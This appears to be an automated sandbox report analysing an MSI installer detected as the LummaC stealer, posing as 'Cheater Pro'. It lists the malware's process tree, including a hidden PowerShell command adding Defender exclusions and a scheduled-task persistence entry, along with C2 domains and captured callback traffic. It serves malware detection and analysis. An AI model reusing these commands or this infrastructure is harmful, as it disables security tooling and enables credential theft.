Edit tour

Windows Analysis Report
SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi

Overview

General Information

Sample name:	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
Analysis ID:	1364305
MD5:	3e40af38940b787932d356d0b7bf4b3d
SHA1:	5422afe104a7f6a2b09fc6866f776ddf5645ac83
SHA256:	a9c82ebf5e801a134bfb8b38a73138738a71c2cd7f255d886330277eb9e3c4b3
Tags:	msi
Infos:

Detection

LummaC Stealer

Score:	93
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Drops large PE files

Found evasive API chain (may stop execution after checking computer name)

Injects a PE file into a foreign processes

Query firmware table information (likely to detect VMs)

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 3532 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 6276 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5708 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding A85B4FF1784BEC87258FF128D188C24C C MD5: 9D09DC1EDA745A5F87553048E57620CF)

LuaJIT.exe (PID: 3468 cmdline: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file MD5: 241F579EB451541B0BFDAF1553E491DC)

msiexec.exe (PID: 6392 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding B3E03B019F939F49F4DAB01F62926825 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 1020 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue." MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4364 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force } MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

msiexec.exe (PID: 3908 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding CDCA23E181F377D7B87D52A0F3A49202 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

LuaJIT.exe (PID: 1216 cmdline: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file MD5: 241F579EB451541B0BFDAF1553E491DC)

schtasks.exe (PID: 1424 cmdline: schtasks /create /sc daily /st 14:58 /f /tn "LuaJIT" /tr ""C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file"" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

connect.exe (PID: 1584 cmdline: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe MD5: 821C6E75EEF9E50378383FB1E152DECB)

vbc.exe (PID: 6480 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: 0A7608DB01CAE07792CEA95E792AA866)

LuaJIT.exe (PID: 5424 cmdline: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file MD5: 241F579EB451541B0BFDAF1553E491DC)

LuaJIT.exe (PID: 3520 cmdline: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file MD5: 241F579EB451541B0BFDAF1553E491DC)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["slabbymenusportef.pw", "dayfarrichjwclik.fun", "neighborhoodfeelsa.funp", "ratefacilityframw.fun", "reviveincapablewew.pw", "cakecoldsplurgrewe.pw", "opposesicknessopw.pw", "politefrightenpowoa.pwp"], "Build id": "HpOoIh--@hydroshot"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.4282508440.00000000057F4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000014.00000002.4282508440.0000000004D75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000014.00000002.4282244783.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: connect.exe PID: 1584	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: vbc.exe PID: 6480	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.vbc.exe.400000.0.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
21.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ETPRO TROJAN Lumma Stealer Related Activity - Source IP: 192.168.2.6 - Destination IP: 104.21.80.57

Timestamp:	192.168.2.6104.21.80.5749727802855505 12/19/23-05:21:38.488856
SID:	2855505
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: slabbymenusportef.pw	Avira URL Cloud: Label: malware
Source: cakecoldsplurgrewe.pw	Avira URL Cloud: Label: malware
Source: http://dayfarrichjwclik.fun/	Avira URL Cloud: Label: malware
Source: dayfarrichjwclik.fun	Avira URL Cloud: Label: malware
Source: opposesicknessopw.pw	Avira URL Cloud: Label: malware
Source: http://dayfarrichjwclik.fun/pi	Avira URL Cloud: Label: malware
Source: http://slabbymenusportef.pw/w2	Avira URL Cloud: Label: malware
Source: http://dayfarrichjwclik.fun:80/apiP	Avira URL Cloud: Label: malware
Source: http://dayfarrichjwclik.fun/api	Avira URL Cloud: Label: malware
Source: http://slabbymenusportef.pw/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 21.2.vbc.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["slabbymenusportef.pw", "dayfarrichjwclik.fun", "neighborhoodfeelsa.funp", "ratefacilityframw.fun", "reviveincapablewew.pw", "cakecoldsplurgrewe.pw", "opposesicknessopw.pw", "politefrightenpowoa.pwp"], "Build id": "HpOoIh--@hydroshot"}

Multi AV Scanner detection for domain / URL

Source: dayfarrichjwclik.fun	Virustotal: Detection: 18%	Perma Link
Source: slabbymenusportef.pw	Virustotal: Detection: 8%	Perma Link
Source: dayfarrichjwclik.fun	Virustotal: Detection: 18%	Perma Link
Source: http://dayfarrichjwclik.fun/	Virustotal: Detection: 18%	Perma Link
Source: slabbymenusportef.pw	Virustotal: Detection: 8%	Perma Link
Source: opposesicknessopw.pw	Virustotal: Detection: 11%	Perma Link
Source: http://dayfarrichjwclik.fun/pi	Virustotal: Detection: 15%	Perma Link
Source: http://dayfarrichjwclik.fun/api	Virustotal: Detection: 15%	Perma Link
Source: ratefacilityframw.fun	Virustotal: Detection: 16%	Perma Link
Source: http://slabbymenusportef.pw/api	Virustotal: Detection: 18%	Perma Link

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_004432A0 _strlen,CryptStringToBinaryA,CryptStringToBinaryA,

21_2_004432A0

Source: unknown

HTTPS traffic detected: 108.181.20.35:443 -> 192.168.2.6:49718 version: TLS 1.2

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb\ source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdbb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, MSI11D0.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, MSI11D0.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI1379.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI1379.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, 6b20ee.rbs.2.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045CCE1 _free,_free,FindFirstFileExW,		21_2_0045CCE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045CD95 FindFirstFileExW,FindNextFileW,FindClose,		21_2_0045CD95

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov eax, ebx		21_2_00401810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov edx, eax		21_2_0040B5F0

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2855505 ETPRO TROJAN Lumma Stealer Related Activity 192.168.2.6:49727 -> 104.21.80.57:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: slabbymenusportef.pw
Source: Malware configuration extractor	URLs: dayfarrichjwclik.fun
Source: Malware configuration extractor	URLs: neighborhoodfeelsa.funp
Source: Malware configuration extractor	URLs: ratefacilityframw.fun
Source: Malware configuration extractor	URLs: reviveincapablewew.pw
Source: Malware configuration extractor	URLs: cakecoldsplurgrewe.pw
Source: Malware configuration extractor	URLs: opposesicknessopw.pw
Source: Malware configuration extractor	URLs: politefrightenpowoa.pwp

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dayfarrichjwclik.fun

Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40
Source: unknown	TCP traffic detected without corresponding DNS query: 213.248.43.40

Source: global traffic	HTTP traffic detected: GET /nzct1p HTTP/1.1User-Agent: TreeCache-Control: no-cacheHost: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: TreeHost: ip-api.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nzct1p HTTP/1.1Content-Type: application/jsonUser-Agent: TreeHost: files.catbox.moeCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: unknown

Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000007.00000002.2177284042.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: powershell.exe, 00000007.00000002.2178978891.0000000007EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000005.00000002.2182111369.0000000002F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/
Source: vbc.exe, 00000015.00000002.4544217555.000000000555D000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000015.00000002.4544217555.000000000554A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/api
Source: vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/pi
Source: vbc.exe, 00000015.00000002.4544217555.000000000555D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun:80/apiP
Source: powershell.exe, 00000005.00000002.2190139723.0000000005E96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.2183022704.0000000004E31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2172975024.0000000004771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://slabbymenusportef.pw/api
Source: vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://slabbymenusportef.pw/w2
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://t2.symcb.com0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://tl.symcd.com0&
Source: powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000005.00000002.2183022704.0000000004E31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2172975024.0000000004771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2183022704.0000000005657000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: LuaJIT.exe.2.dr	String found in binary or memory: https://luajit.org/
Source: powershell.exe, 00000005.00000002.2190139723.0000000005E96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown

HTTPS traffic detected: 108.181.20.35:443 -> 192.168.2.6:49718 version: TLS 1.2

System Summary

Drops large PE files

